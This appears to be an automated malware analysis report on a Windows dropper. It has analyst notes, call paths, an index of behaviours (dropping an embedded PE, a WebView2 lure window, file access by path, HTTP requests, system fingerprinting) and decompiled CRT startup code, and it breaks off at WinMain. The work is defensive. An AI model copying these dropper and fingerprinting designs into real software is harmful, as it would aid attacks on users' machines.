Q2

what was tried: FLOSS found 12 decoded strings; attempted to group by routine but output masked
why it stopped: decoded strings not mapped to callers due to masked output

Q3

what was tried: identified 5 registry path candidates c0012-c0016 in IOC index, deepen: verified all 5 registry candidates at file offsets 0xf50e8-0xf5c98 are within embedded PE range 0xd70c0-0xff420, belong to unpacked file 1 not the original file
why it stopped: registry candidates are unpacked file 1 (embedded PE) data, not the original file strings; deferred to unpacked file 1 analysis

Q5

what was tried: dispatch_reach pass resolved 270 of 1358 computed call sites, gaining 362 functions (330 to 692 reached)
why it stopped: 76 unresolved computed call sites in reached code; no state/index tables found

How the code connects

Shortest call paths from the entry points to every function the report cites. Dashed edges are address-taken or virtual references (callbacks, thread procs, delegates, tables), not direct calls. Select a cited function to jump to its code; zoom and drag to pan a large graph.

From CORD Research's native call graph: 20 functions, 20 edges.

100%drag to panentry pointcitedon the wayreference

Paths as text · 18

entry: entry 0x140001000
crt_startup: entry 0x140001000 → crt_startup 0x140001020
WinMain: entry 0x140001000 → crt_startup 0x140001020 → calls GetStartupInfoW 0x140021a30 → WinMain 0x140001400
WndProc: entry 0x140001000 → crt_startup 0x140001020 → calls GetStartupInfoW 0x140021a30 → WinMain 0x140001400 ~> WndProc 0x140002480
json_response_builder: entry 0x140001000 → crt_startup 0x140001020 → calls GetStartupInfoW 0x140021a30 → WinMain 0x140001400 ~> WndProc 0x140002480 → json_response_builder 0x140002900
edge_handler: entry 0x140001000 → crt_startup 0x140001020 → calls GetStartupInfoW 0x140021a30 → WinMain 0x140001400 ~> 0x1400055d0 ~> webview2_setup 0x1400056b0 ~> ui_thread_handler 0x140005a90 → edge_handler 0x1400030e0
file_reader: entry 0x140001000 → crt_startup 0x140001020 → calls GetStartupInfoW 0x140021a30 → WinMain 0x140001400 ~> 0x1400055d0 ~> webview2_setup 0x1400056b0 ~> ui_thread_handler 0x140005a90 → file_reader 0x1400033d0
file_writer: entry 0x140001000 → crt_startup 0x140001020 → calls GetStartupInfoW 0x140021a30 → WinMain 0x140001400 ~> 0x1400055d0 ~> webview2_setup 0x1400056b0 ~> ui_thread_handler 0x140005a90 → file_writer 0x1400038b0
url_launcher: entry 0x140001000 → crt_startup 0x140001020 → calls GetStartupInfoW 0x140021a30 → WinMain 0x140001400 ~> 0x1400055d0 ~> webview2_setup 0x1400056b0 ~> ui_thread_handler 0x140005a90 → url_launcher 0x140003c10
http_request: entry 0x140001000 → crt_startup 0x140001020 → calls GetStartupInfoW 0x140021a30 → WinMain 0x140001400 ~> 0x1400055d0 ~> webview2_setup 0x1400056b0 ~> ui_thread_handler 0x140005a90 ~> http_request 0x140004000
internet_init: entry 0x140001000 → crt_startup 0x140001020 → calls GetStartupInfoW 0x140021a30 → WinMain 0x140001400 ~> 0x1400055d0 ~> webview2_setup 0x1400056b0 ~> ui_thread_handler 0x140005a90 ~> http_request 0x140004000 → internet_init 0x140004580
http_request_builder: entry 0x140001000 → crt_startup 0x140001020 → calls GetStartupInfoW 0x140021a30 → WinMain 0x140001400 ~> 0x1400055d0 ~> webview2_setup 0x1400056b0 ~> ui_thread_handler 0x140005a90 → file_reader 0x1400033d0 → http_request_builder 0x140004620
timer_reveal: entry 0x140001000 → crt_startup 0x140001020 → calls GetStartupInfoW 0x140021a30 → WinMain 0x140001400 ~> 0x1400055d0 ~> webview2_setup 0x1400056b0 ~> timer_setup 0x140009480 ~> timer_reveal 0x140004960
webview2_setup: entry 0x140001000 → crt_startup 0x140001020 → calls GetStartupInfoW 0x140021a30 → WinMain 0x140001400 ~> 0x1400055d0 ~> webview2_setup 0x1400056b0
ui_thread_handler: entry 0x140001000 → crt_startup 0x140001020 → calls GetStartupInfoW 0x140021a30 → WinMain 0x140001400 ~> 0x1400055d0 ~> webview2_setup 0x1400056b0 ~> ui_thread_handler 0x140005a90
json_parser: entry 0x140001000 → crt_startup 0x140001020 → calls GetStartupInfoW 0x140021a30 → WinMain 0x140001400 ~> 0x1400055d0 ~> webview2_setup 0x1400056b0 ~> ui_thread_handler 0x140005a90 → json_parser 0x1400075c0
nav_event_handler: entry 0x140001000 → crt_startup 0x140001020 → calls GetStartupInfoW 0x140021a30 → WinMain 0x140001400 ~> 0x1400055d0 ~> webview2_setup 0x1400056b0 ~> nav_event_handler 0x140008f60
timer_setup: entry 0x140001000 → crt_startup 0x140001020 → calls GetStartupInfoW 0x140021a30 → WinMain 0x140001400 ~> 0x1400055d0 ~> webview2_setup 0x1400056b0 ~> timer_setup 0x140009480

How those functions call each other (1 functions, up to three calls apart):

100%drag to panentry pointcitedon the wayreference

Code 19

Decompiled from the sample and the layers unpacking recovered, by the render step (not the analyst): Ghidra for native code (C and annotated assembly), ILSpy for .NET (C# and IL). FUN_… names are replaced by the report's names where it gives one. In the assembly, highlighted rows are addresses the evidence cites.

Index · 19 functions

Function	Address	Layer	Size	Cited as	Purpose	Behaviours
entry	0x140001000	L0	30		PE entry point, calls crt_startup
crt_startup	0x140001020	L0	892	E9	CRT startup, creates mutex for single-instance lock, calls WinMain · behaviours: B8 single-instance execution lock	B8
WinMain	0x140001400	L0	3663	E1	Drops embedded PE from RCDATA 300, registers window class, creates WebView2 environment · behaviours: B1 drops embedded PE from resource; B2 creates WebView2 browser control for lure UI	B1, B2
WndProc	0x140002480	L0	878	E10	Window procedure dispatching WM messages, calls WebView2 setup and JSON response builder · behaviours: B2 creates WebView2 browser control for lure UI; B10 JSON-based IPC between WebView2 and native code	B2, B10
json_response_builder	0x140002900	L0	720	E19	Builds JSON objects with id/ok/result fields as IPC responses to WebView2 frontend · behaviours: B10 JSON-based IPC between WebView2 and native code	B10
edge_handler	0x1400030e0	L0	700		Handles WebView2 edge runtime environment callbacks
file_reader	0x1400033d0	L0	975	E15	Reads files by path parameter, builds JSON response with contents · behaviours: B9 reads and writes files by path parameter	B9
file_writer	0x1400038b0	L0	730	E16	Writes files by path parameter, builds JSON response with status · behaviours: B9 reads and writes files by path parameter	B9
url_launcher	0x140003c10	L0	893	E6	Opens URLs via ShellExecuteW, builds JSON response with result · behaviours: B5 opens URLs via ShellExecute	B5
http_request	0x140004000	L0	1315	E3	Sends HTTP requests via WinInet (InternetOpenA, InternetOpenUrlA, InternetReadFile), reads response · behaviours: B3 HTTP networking via WinInet	B3
internet_init	0x140004580	L0	147	E4	Initialises WinInet session handle with InternetOpenA · behaviours: B3 HTTP networking via WinInet	B3
http_request_builder	0x140004620	L0	671	E22	Constructs HTTP request parameters from global state and string operations, helper for http_request · behaviours: B3 HTTP networking via WinInet	B3
timer_reveal	0x140004960	L0	79	E12	Timer callback that shows the main window after delay · behaviours: B7 timer-delayed window reveal	B7
webview2_setup	0x1400056b0	L0	830	E5	Creates WebView2 controller and configures COM environment, references L0 URLs · behaviours: B2 creates WebView2 browser control for lure UI	B2
ui_thread_handler	0x140005a90	L0	6076	E8	Handles WebView2 postMessage events: parses incoming JSON, dispatches to native handlers, creates child processes · behaviours: B4 creates child process; B10 JSON-based IPC between WebView2 and native code	B4, B10
json_parser	0x1400075c0	L0	1644	E20	Recursive-descent JSON parser for incoming WebView2 messages; handles strings, arrays, objects, numbers · behaviours: B10 JSON-based IPC between WebView2 and native code	B10
nav_event_handler	0x140008f60	L0	1153	E18	WebView2 navigation completed event handler, configures browser settings · behaviours: B2 creates WebView2 browser control for lure UI	B2
timer_setup	0x140009480	L0	58	E11	Sets up Windows timer for delayed window reveal · behaviours: B7 timer-delayed window reveal	B7
system_fingerprint	0x1400094c0	L0	2313	E7	Collects system identity data using XOR constants 0xfd6c0c64 and 0x9c0fc46e · behaviours: B6 collects system fingerprint	B6

entry

0x14000100030 bytes

undefined entry(undefined8 param_1, undefined8 param_2, undefined8 param_3, undefined8 param_4)

PE entry point, calls crt_startup

Called from: none found
Calls: crt_startup

Decompiled C · 9 lines

void entry(undefined8 param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)

{
  *(undefined4 *)PTR_DAT_14009b020 = 1;
  crt_startup(param_1,param_2,param_3,param_4);
  return;
}

Assembly · 9 instructions, 1 annotated

Address	Bytes	Instruction	Comment
140001000	48 83 ec 28	SUB RSP,0x28
140001004	48 8b 05 15 a0 09 00	MOV RAX,qword ptr [PTR_DAT_14009b020]
14000100b	c7 00 01 00 00 00	MOV dword ptr [RAX],0x1
140001011	e8 0a 00 00 00	CALL crt_startup	; → crt_startup (B8, E9)
140001016	90	NOP
140001017	90	NOP
140001018	90	NOP
140001019	48 83 c4 28	ADD RSP,0x28
14000101d	c3	RET

crt_startup

0x140001020892 bytes

ulonglong crt_startup(undefined8 param_1, undefined8 param_2, undefined8 param_3, undefined8 param_4)

CRT startup, creates mutex for single-instance lock, calls WinMain

Cited as: E9
Behaviours: B8
Called from: entry, FUN_1400013a0
Calls: SetUnhandledExceptionFilter Sleep tls_callback_0, FUN_140021240, FUN_140021480, FUN_140021490, FUN_140021510, FUN_140021a20, FUN_140021a30, FUN_140022e40, FUN_140022e50, FUN_140022ec0, _guard_dispatch_icall, __p__commode, __p__fmode, _cexit, _configthreadlocale, _initterm, _initterm_e, _set_invalid_parameter_handler, exit, malloc, memcpy, wcslen, _set_app_type

Decompiled C · 175 lines

ulonglong crt_startup(undefined8 param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)

{
  ushort uVar1;
  uint uVar2;
  undefined4 uVar3;
  undefined *puVar4;
  undefined *puVar5;
  void *pvVar6;
  int iVar7;
  undefined8 *puVar8;
  ulonglong uVar9;
  LPTOP_LEVEL_EXCEPTION_FILTER pPVar10;
  undefined4 *puVar11;
  undefined8 uVar12;
  void *pvVar13;
  size_t sVar14;
  void *_Dst;
  undefined *puVar15;
  undefined8 *in_RDX;
  undefined8 *in_R8;
  ulonglong in_R9;
  longlong lVar16;
  longlong lVar17;
  bool bVar18;
  undefined8 extraout_XMM0_Qa;
  undefined4 local_44;
  
  puVar4 = PTR_DAT_14009b048;
  lVar16 = *(longlong *)((longlong)Self + 8);
  LOCK();
  lVar17 = *(longlong *)PTR_DAT_14009b048;
  bVar18 = lVar17 == 0;
  if (bVar18) {
    *(longlong *)PTR_DAT_14009b048 = lVar16;
    lVar17 = 0;
  }
  UNLOCK();
  if (lVar16 != lVar17 && !bVar18) {
    do {
      param_1 = 1000;
      Sleep(1000);
      LOCK();
      lVar17 = *(longlong *)puVar4;
      bVar18 = lVar17 == 0;
      if (bVar18) {
        *(longlong *)puVar4 = lVar16;
        lVar17 = 0;
      }
      UNLOCK();
    } while ((!bVar18) && (lVar16 != lVar17));
  }
  puVar5 = PTR_DAT_14009b050;
  if (*(int *)PTR_DAT_14009b050 != 1) {
    if (*(int *)PTR_DAT_14009b050 != 0) {
      DAT_1400c9430 = '\x01';
joined_r0x0001400010b0:
      if (bVar18) {
        LOCK();
        *(undefined8 *)puVar4 = 0;
        UNLOCK();
      }
      if (*(longlong *)PTR_PTR_14009b010 != 0) {
        (*(code *)PTR__guard_dispatch_icall_1400b1850)(0,2,0);
      }
      uVar12 = DAT_1400c9428;
      puVar8 = (undefined8 *)FUN_140022e40();
      *puVar8 = uVar12;
      uVar9 = FUN_140021a30(extraout_XMM0_Qa,param_2,param_3,param_4);
      if (DAT_1400c9414 != 0) {
        if (DAT_1400c9430 == '\0') {
          uVar9 = uVar9 & 0xffffffff;
          _cexit();
        }
        return uVar9;
      }
      goto LAB_140001395;
    }
    *(undefined4 *)PTR_DAT_14009b050 = 1;
    FUN_140021510(param_1,in_RDX,in_R8,in_R9);
    pPVar10 = SetUnhandledExceptionFilter(FUN_1400212d0);
    *(LPTOP_LEVEL_EXCEPTION_FILTER *)PTR_DAT_14009b040 = pPVar10;
    _set_invalid_parameter_handler((_invalid_parameter_handler)&DAT_1400013d0);
    FUN_140021490();
    *(undefined4 *)PTR_DAT_14009b028 = 1;
    *(undefined4 *)PTR_DAT_14009b030 = 1;
    *(undefined4 *)PTR_DAT_14009b038 = 1;
    DAT_1400c9414 = 0;
    if ((*(short *)PTR_IMAGE_DOS_HEADER_14009b008 == 0x5a4d) &&
       (in_RDX = (undefined8 *)(longlong)*(int *)(PTR_IMAGE_DOS_HEADER_14009b008 + 0x3c),
       *(int *)(PTR_IMAGE_DOS_HEADER_14009b008 + (longlong)in_RDX) == 0x4550)) {
      puVar15 = PTR_IMAGE_DOS_HEADER_14009b008 + (longlong)in_RDX;
      uVar1 = *(ushort *)(puVar15 + 0x18);
      in_RDX = (undefined8 *)(ulonglong)uVar1;
      if (uVar1 == 0x20b) {
        in_RDX = (undefined8 *)0xf8;
        uVar2 = *(uint *)(puVar15 + 0x84);
      }
      else {
        if (uVar1 != 0x10b) goto LAB_1400011cd;
        in_RDX = (undefined8 *)0xe8;
        uVar2 = *(uint *)(puVar15 + 0x74);
      }
      if (0xe < uVar2) {
        DAT_1400c9414 = (uint)(*(int *)(puVar15 + (longlong)in_RDX) != 0);
      }
    }
LAB_1400011cd:
    _set_app_type(2 - (uint)(*(int *)PTR_DAT_14009b020 == 0));
    uVar3 = *(undefined4 *)PTR_DAT_14009b088;
    puVar11 = (undefined4 *)__p__fmode();
    *puVar11 = uVar3;
    uVar3 = *(undefined4 *)PTR_DAT_14009b078;
    puVar11 = (undefined4 *)__p__commode();
    *puVar11 = uVar3;
    uVar12 = FUN_140021a20();
    if (-1 < (int)uVar12) {
      if (*(int *)PTR_DAT_14009b000 == 1) {
        FUN_140021480(FUN_1400214a0);
      }
      if (*(int *)PTR_DAT_14009b018 == -1) {
        _configthreadlocale(-1);
      }
      iVar7 = _initterm_e(PTR_DAT_14009b068,PTR_DAT_14009b070);
      if (iVar7 != 0) {
        return 0xff;
      }
      local_44 = *(undefined4 *)PTR_DAT_14009b090;
      in_R9 = (ulonglong)*(uint *)PTR_DAT_14009b080;
      in_RDX = &DAT_1400c9420;
      in_R8 = &DAT_1400c9428;
      uVar12 = FUN_140022e50(&DAT_1400c9418,&DAT_1400c9420,&DAT_1400c9428,*(uint *)PTR_DAT_14009b080
                             ,&local_44);
      iVar7 = DAT_1400c9418;
      if (-1 < (int)uVar12) {
        lVar17 = (longlong)DAT_1400c9418;
        pvVar13 = malloc(lVar17 * 8 + 8);
        pvVar6 = DAT_1400c9420;
        if (pvVar13 != (void *)0x0) {
          if (iVar7 < 1) {
            lVar17 = 0;
          }
          else {
            lVar16 = 0;
            do {
              sVar14 = wcslen(*(wchar_t **)((longlong)pvVar6 + lVar16 * 8));
              puVar8 = (undefined8 *)(sVar14 * 2 + 2);
              _Dst = malloc((size_t)puVar8);
              *(void **)((longlong)pvVar13 + lVar16 * 8) = _Dst;
              if (_Dst == (void *)0x0) goto LAB_140001381;
              in_RDX = *(undefined8 **)((longlong)pvVar6 + lVar16 * 8);
              memcpy(_Dst,in_RDX,(size_t)puVar8);
              lVar16 = lVar16 + 1;
              in_R8 = puVar8;
            } while (lVar17 != lVar16);
          }
          *(undefined8 *)((longlong)pvVar13 + lVar17 * 8) = 0;
          DAT_1400c9420 = pvVar13;
          _initterm(PTR_DAT_14009b058,PTR_DAT_14009b060);
          FUN_140021240();
          *(undefined4 *)puVar5 = 2;
          goto joined_r0x0001400010b0;
        }
      }
    }
LAB_140001381:
    FUN_140022ec0(8,in_RDX,in_R8,in_R9);
  }
  uVar9 = FUN_140022ec0(0x1f,in_RDX,in_R8,in_R9);
LAB_140001395:
                    /* WARNING: Subroutine does not return */
  exit((int)uVar9);
}

Assembly · 203 instructions, 7 annotated

Address	Bytes	Instruction	Comment
140001020	41 57	PUSH R15
140001022	41 56	PUSH R14
140001024	41 55	PUSH R13
140001026	41 54	PUSH R12
140001028	56	PUSH RSI
140001029	57	PUSH RDI
14000102a	55	PUSH RBP
14000102b	53	PUSH RBX
14000102c	48 83 ec 38	SUB RSP,0x38
140001030	b8 30 00 00 00	MOV EAX,0x30
140001035	65 67 48 8b 00	MOV RAX,qword ptr GS:[EAX]
14000103a	48 8b 70 08	MOV RSI,qword ptr [RAX + offset StackBase]
14000103e	48 8b 1d 03 a0 09 00	MOV RBX,qword ptr [PTR_DAT_14009b048]
140001045	31 c0	XOR EAX,EAX
140001047	f0 48 0f b1 33	CMPXCHG.LOCK qword ptr [RBX],RSI
14000104c	40 0f 94 c5	SETZ BPL
140001050	48 39 c6	CMP RSI,RAX
140001053	0f 94 c0	SETZ AL
140001056	40 08 e8	OR AL,BPL
140001059	75 2e	JNZ LAB_140001089
14000105b	48 8b 3d 86 19 0b 00	MOV RDI,qword ptr [PTR_Sleep_1400b29e8]
140001062	66 66 66 66 66 2e 0f 1f …	NOP word ptr CS:[RAX + RAX*0x1]
LAB_140001070:
140001070	b9 e8 03 00 00	MOV ECX,0x3e8
140001075	ff d7	CALL RDI
140001077	31 c0	XOR EAX,EAX
140001079	f0 48 0f b1 33	CMPXCHG.LOCK qword ptr [RBX],RSI
14000107e	40 0f 94 c5	SETZ BPL
140001082	74 05	JZ LAB_140001089
140001084	48 39 c6	CMP RSI,RAX
140001087	75 e7	JNZ LAB_140001070
LAB_140001089:
140001089	4c 8b 35 c0 9f 09 00	MOV R14,qword ptr [PTR_DAT_14009b050]
140001090	41 8b 06	MOV EAX,dword ptr [R14]
140001093	83 f8 01	CMP EAX,0x1
140001096	0f 84 ef 02 00 00	JZ LAB_14000138b
14000109c	41 83 3e 00	CMP dword ptr [R14],0x0
1400010a0	0f 84 80 00 00 00	JZ LAB_140001126
1400010a6	c6 05 83 83 0c 00 01	MOV byte ptr [DAT_1400c9430],0x1
1400010ad	40 84 ed	TEST BPL,BPL
1400010b0	74 05	JZ LAB_1400010b7
LAB_1400010b2:
1400010b2	31 c0	XOR EAX,EAX
1400010b4	48 87 03	XCHG qword ptr [RBX],RAX
LAB_1400010b7:
1400010b7	48 8b 05 52 9f 09 00	MOV RAX,qword ptr [PTR_PTR_14009b010]
1400010be	48 8b 00	MOV RAX,qword ptr [RAX]
1400010c1	48 85 c0	TEST RAX,RAX
1400010c4	74 10	JZ LAB_1400010d6
1400010c6	31 c9	XOR ECX,ECX
1400010c8	ba 02 00 00 00	MOV EDX,0x2
1400010cd	45 31 c0	XOR R8D,R8D
1400010d0	ff 15 7a 07 0b 00	CALL qword ptr [PTR__guard_dispatch_icall_1400b1850]
LAB_1400010d6:
1400010d6	48 8b 35 4b 83 0c 00	MOV RSI,qword ptr [DAT_1400c9428]
1400010dd	e8 5e 1d 02 00	CALL FUN_140022e40
1400010e2	48 89 30	MOV qword ptr [RAX],RSI
1400010e5	8b 0d 2d 83 0c 00	MOV ECX,dword ptr [DAT_1400c9418]
1400010eb	48 8b 15 2e 83 0c 00	MOV RDX,qword ptr [DAT_1400c9420]
1400010f2	4c 8b 05 2f 83 0c 00	MOV R8,qword ptr [DAT_1400c9428]
1400010f9	e8 32 09 02 00	CALL FUN_140021a30	; FUN_140021a30: WinMain, GetStartupInfoW
1400010fe	83 3d 0f 83 0c 00 00	CMP dword ptr [DAT_1400c9414],0x0
140001105	0f 84 8a 02 00 00	JZ LAB_140001395
14000110b	80 3d 1e 83 0c 00 00	CMP byte ptr [DAT_1400c9430],0x0
140001112	0f 85 4b 01 00 00	JNZ LAB_140001263
140001118	89 c6	MOV ESI,EAX
14000111a	e8 81 90 09 00	CALL _cexit
14000111f	89 f0	MOV EAX,ESI
140001121	e9 3d 01 00 00	JMP LAB_140001263
LAB_140001126:
140001126	41 c7 06 01 00 00 00	MOV dword ptr [R14],0x1
14000112d	e8 de 03 02 00	CALL FUN_140021510	; FUN_140021510: VirtualQuery, VirtualProtect, GetLastError
140001132	48 8d 0d 97 01 02 00	LEA RCX,[FUN_1400212d0]
140001139	ff 15 99 18 0b 00	CALL qword ptr [PTR_SetUnhandledExceptionFilter_1400b29d8]
14000113f	48 8b 0d fa 9e 09 00	MOV RCX,qword ptr [PTR_DAT_14009b040]
140001146	48 89 01	MOV qword ptr [RCX],RAX
140001149	48 8d 0d 80 02 00 00	LEA RCX,[DAT_1400013d0]
140001150	e8 9b 90 09 00	CALL _set_invalid_parameter_handler
140001155	e8 36 03 02 00	CALL FUN_140021490
14000115a	48 8b 05 c7 9e 09 00	MOV RAX,qword ptr [PTR_DAT_14009b028]
140001161	c7 00 01 00 00 00	MOV dword ptr [RAX],0x1
140001167	48 8b 05 c2 9e 09 00	MOV RAX,qword ptr [PTR_DAT_14009b030]
14000116e	c7 00 01 00 00 00	MOV dword ptr [RAX],0x1
140001174	48 8b 05 bd 9e 09 00	MOV RAX,qword ptr [PTR_DAT_14009b038]
14000117b	c7 00 01 00 00 00	MOV dword ptr [RAX],0x1
140001181	48 8b 0d 80 9e 09 00	MOV RCX,qword ptr [PTR_IMAGE_DOS_HEADER_14009b008]
140001188	31 c0	XOR EAX,EAX
14000118a	66 81 39 4d 5a	CMP word ptr [RCX],0x5a4d
14000118f	75 3c	JNZ LAB_1400011cd
140001191	48 63 51 3c	MOVSXD RDX,dword ptr [RCX + offset IMAGE_DOS_HEADER_140000000.e_lfanew]
140001195	81 3c 11 50 45 00 00	CMP dword ptr [RCX + RDX*0x1],0x4550
14000119c	75 2f	JNZ LAB_1400011cd
14000119e	48 01 d1	ADD RCX,RDX
1400011a1	0f b7 51 18	MOVZX EDX,word ptr [RCX + 0x18]
1400011a5	81 fa 0b 02 00 00	CMP EDX,0x20b
1400011ab	0f 84 b9 01 00 00	JZ LAB_14000136a
1400011b1	81 fa 0b 01 00 00	CMP EDX,0x10b
1400011b7	75 14	JNZ LAB_1400011cd
1400011b9	ba e8 00 00 00	MOV EDX,0xe8
1400011be	83 79 74 0f	CMP dword ptr [RCX + 0x74],0xf
1400011c2	72 09	JC LAB_1400011cd
LAB_1400011c4:
1400011c4	31 c0	XOR EAX,EAX
1400011c6	83 3c 11 00	CMP dword ptr [RCX + RDX*0x1],0x0
1400011ca	0f 95 c0	SETNZ AL
LAB_1400011cd:
1400011cd	48 8b 0d 4c 9e 09 00	MOV RCX,qword ptr [PTR_DAT_14009b020]
1400011d4	83 39 01	CMP dword ptr [RCX],0x1
1400011d7	89 05 37 82 0c 00	MOV dword ptr [DAT_1400c9414],EAX
1400011dd	b9 02 00 00 00	MOV ECX,0x2
1400011e2	83 d9 00	SBB ECX,0x0
1400011e5	e8 66 96 09 00	CALL _set_app_type
1400011ea	48 8b 05 97 9e 09 00	MOV RAX,qword ptr [PTR_DAT_14009b088]
1400011f1	8b 30	MOV ESI,dword ptr [RAX]
1400011f3	e8 98 8f 09 00	CALL __p__fmode
1400011f8	89 30	MOV dword ptr [RAX],ESI
1400011fa	48 8b 05 77 9e 09 00	MOV RAX,qword ptr [PTR_DAT_14009b078]
140001201	8b 30	MOV ESI,dword ptr [RAX]
140001203	e8 78 8f 09 00	CALL __p__commode
140001208	89 30	MOV dword ptr [RAX],ESI
14000120a	e8 11 08 02 00	CALL FUN_140021a20
14000120f	85 c0	TEST EAX,EAX
140001211	0f 88 6a 01 00 00	JS LAB_140001381
140001217	48 8b 05 e2 9d 09 00	MOV RAX,qword ptr [PTR_DAT_14009b000]
14000121e	83 38 01	CMP dword ptr [RAX],0x1
140001221	75 0c	JNZ LAB_14000122f
140001223	48 8d 0d 76 02 02 00	LEA RCX,[FUN_1400214a0]
14000122a	e8 51 02 02 00	CALL FUN_140021480	; FUN_140021480: __setusermatherr
LAB_14000122f:
14000122f	48 8b 05 e2 9d 09 00	MOV RAX,qword ptr [PTR_DAT_14009b018]
140001236	83 38 ff	CMP dword ptr [RAX],-0x1
140001239	75 0a	JNZ LAB_140001245
14000123b	b9 ff ff ff ff	MOV ECX,0xffffffff
140001240	e8 6b 8f 09 00	CALL _configthreadlocale
LAB_140001245:
140001245	48 8b 0d 1c 9e 09 00	MOV RCX,qword ptr [PTR_DAT_14009b068]
14000124c	48 8b 15 1d 9e 09 00	MOV RDX,qword ptr [PTR_DAT_14009b070]
140001253	e8 88 8f 09 00	CALL _initterm_e
140001258	89 c1	MOV ECX,EAX
14000125a	b8 ff 00 00 00	MOV EAX,0xff
14000125f	85 c9	TEST ECX,ECX
140001261	74 11	JZ LAB_140001274
LAB_140001263:
140001263	48 83 c4 38	ADD RSP,0x38
140001267	5b	POP RBX
140001268	5d	POP RBP
140001269	5f	POP RDI
14000126a	5e	POP RSI
14000126b	41 5c	POP R12
14000126d	41 5d	POP R13
14000126f	41 5e	POP R14
140001271	41 5f	POP R15
140001273	c3	RET
LAB_140001274:
140001274	48 8b 05 15 9e 09 00	MOV RAX,qword ptr [PTR_DAT_14009b090]
14000127b	8b 00	MOV EAX,dword ptr [RAX]
14000127d	89 44 24 34	MOV dword ptr [RSP + local_44],EAX
140001281	48 8b 05 f8 9d 09 00	MOV RAX,qword ptr [PTR_DAT_14009b080]
140001288	44 8b 08	MOV R9D,dword ptr [RAX]
14000128b	48 8d 44 24 34	LEA RAX,[RSP + 0x34]
140001290	48 89 44 24 20	MOV qword ptr [RSP + local_58],RAX
140001295	48 8d 0d 7c 81 0c 00	LEA RCX,[DAT_1400c9418]
14000129c	48 8d 15 7d 81 0c 00	LEA RDX,[DAT_1400c9420]
1400012a3	4c 8d 05 7e 81 0c 00	LEA R8,[DAT_1400c9428]
1400012aa	e8 a1 1b 02 00	CALL FUN_140022e50	; FUN_140022e50: _initialize_wide_environment, _configure_wide_argv, __p___argc, __p___wargv +2
1400012af	85 c0	TEST EAX,EAX
1400012b1	0f 88 ca 00 00 00	JS LAB_140001381
1400012b7	4c 63 3d 5a 81 0c 00	MOVSXD R15,dword ptr [DAT_1400c9418]
1400012be	4a 8d 0c fd 08 00 00 00	LEA RCX,[0x8 + R15*0x8]
1400012c6	e8 45 8f 09 00	CALL malloc
1400012cb	48 85 c0	TEST RAX,RAX
1400012ce	0f 84 ad 00 00 00	JZ LAB_140001381
1400012d4	48 89 c6	MOV RSI,RAX
1400012d7	45 85 ff	TEST R15D,R15D
1400012da	7e 4f	JLE LAB_14000132b
1400012dc	4c 8b 25 3d 81 0c 00	MOV R12,qword ptr [DAT_1400c9420]
1400012e3	45 31 ed	XOR R13D,R13D
1400012e6	66 2e 0f 1f 84 00 00 00 …	NOP word ptr CS:[RAX + RAX*0x1]
LAB_1400012f0:
1400012f0	4b 8b 0c ec	MOV RCX,qword ptr [R12 + R13*0x8]
1400012f4	e8 97 8f 09 00	CALL wcslen
1400012f9	48 8d 3c 45 02 00 00 00	LEA RDI,[0x2 + RAX*0x2]
140001301	48 89 f9	MOV RCX,RDI
140001304	e8 07 8f 09 00	CALL malloc
140001309	4a 89 04 ee	MOV qword ptr [RSI + R13*0x8],RAX
14000130d	48 85 c0	TEST RAX,RAX
140001310	74 6f	JZ LAB_140001381
140001312	4b 8b 14 ec	MOV RDX,qword ptr [R12 + R13*0x8]
140001316	48 89 c1	MOV RCX,RAX
140001319	49 89 f8	MOV R8,RDI
14000131c	e8 0f 8f 09 00	CALL memcpy
140001321	49 ff c5	INC R13
140001324	4d 39 ef	CMP R15,R13
140001327	75 c7	JNZ LAB_1400012f0
140001329	eb 03	JMP LAB_14000132e
LAB_14000132b:
14000132b	45 31 ff	XOR R15D,R15D
LAB_14000132e:
14000132e	4a c7 04 fe 00 00 00 00	MOV qword ptr [RSI + R15*0x8],0x0
140001336	48 89 35 e3 80 0c 00	MOV qword ptr [DAT_1400c9420],RSI
14000133d	48 8b 0d 14 9d 09 00	MOV RCX,qword ptr [PTR_DAT_14009b058]
140001344	48 8b 15 15 9d 09 00	MOV RDX,qword ptr [PTR_DAT_14009b060]
14000134b	e8 80 8e 09 00	CALL _initterm
140001350	e8 eb fe 01 00	CALL FUN_140021240	; FUN_140021240: _crt_atexit
140001355	41 c7 06 02 00 00 00	MOV dword ptr [R14],0x2
14000135c	40 84 ed	TEST BPL,BPL
14000135f	0f 85 4d fd ff ff	JNZ LAB_1400010b2
140001365	e9 4d fd ff ff	JMP LAB_1400010b7
LAB_14000136a:
14000136a	ba f8 00 00 00	MOV EDX,0xf8
14000136f	83 b9 84 00 00 00 0f	CMP dword ptr [RCX + 0x84],0xf
140001376	0f 83 48 fe ff ff	JNC LAB_1400011c4
14000137c	e9 4c fe ff ff	JMP LAB_1400011cd
LAB_140001381:
140001381	b9 08 00 00 00	MOV ECX,0x8
140001386	e8 35 1b 02 00	CALL FUN_140022ec0	; FUN_140022ec0: __acrt_iob_func, _exit
LAB_14000138b:
14000138b	b9 1f 00 00 00	MOV ECX,0x1f
140001390	e8 2b 1b 02 00	CALL FUN_140022ec0	; FUN_140022ec0: __acrt_iob_func, _exit
LAB_140001395:
140001395	89 c1	MOV ECX,EAX
140001397	e8 64 8e 09 00	CALL exit

WinMain

0x1400014003663 bytes

undefined8 WinMain(HINSTANCE param_1, undefined8 param_2, undefined8 param_3, undefined8 param_4)

Drops embedded PE from RCDATA 300, registers window class, creates WebView2 environment

Cited as: E1
Behaviours: B1, B2
Called from: FUN_140021a30
Calls: CoInitializeEx CoUninitialize DwmExtendFrameIntoClientArea DwmSetWindowAttribute CreateWindowExW DispatchMessageW GetDC GetMessageW GetSystemMetrics LoadCursorW RegisterClassExW ReleaseDC SetProcessDpiAwarenessContext TranslateMessage UpdateWindow GetDeviceCaps GetStockObject CloseHandle CreateFileW GetEnvironmentVariableW GetModuleFileNameW GetModuleHandleW GetProcAddress LoadLibraryW LoadResource

Decompiled C · 575 lines

/* WARNING: Type propagation algorithm not settling */
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined8 WinMain(HINSTANCE param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)

{
  ulonglong uVar1;
  UINT UVar2;
  undefined4 uVar3;
  undefined1 _Src [8];
  code cVar4;
  undefined1 uVar5;
  undefined2 uVar6;
  WPARAM WVar7;
  int iVar8;
  DWORD nNumberOfBytesToWrite;
  DWORD DVar9;
  int iVar10;
  BOOL BVar11;
  HDC hdc;
  size_t sVar12;
  HRSRC hResInfo;
  HGLOBAL hResData;
